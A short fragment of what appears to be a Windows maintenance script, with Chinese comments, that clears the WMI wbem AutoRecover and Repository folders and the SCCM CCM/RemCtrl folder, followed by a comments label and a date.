    # 清理 wbem/AutoRecover 和 wbem/Repository 文件夹
    clear_folder_contents(auto_recover_path)
    clear_folder_contents(repository_path)
    # 清理 CCM/RemCtrl 文件夹
    clear_folder_contents(remote_control_path)

Comments

2021-11-12